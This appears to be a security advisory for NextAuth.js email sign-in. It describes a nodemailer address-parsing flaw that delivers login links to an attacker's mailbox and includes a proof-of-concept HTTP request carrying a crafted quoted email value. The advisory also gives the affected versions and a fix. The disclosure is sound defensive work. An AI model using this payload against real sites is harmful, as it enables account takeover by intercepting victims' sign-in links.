Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"[email protected]"@victim.com

is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

<h2>Affected NextAuthjs Version</h2>

≤ Version	Afftected
4.24.11	Yes
5.0.0-beta.29	Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "[email protected]",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})

POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

<img width="1247" height="1408" alt="Screenshot from 2025-10-25 21-15-25" src="https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f" /> <img width="1279" height="1450" alt="Screenshot from 2025-10-25 21-14-47" src="https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f" />

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue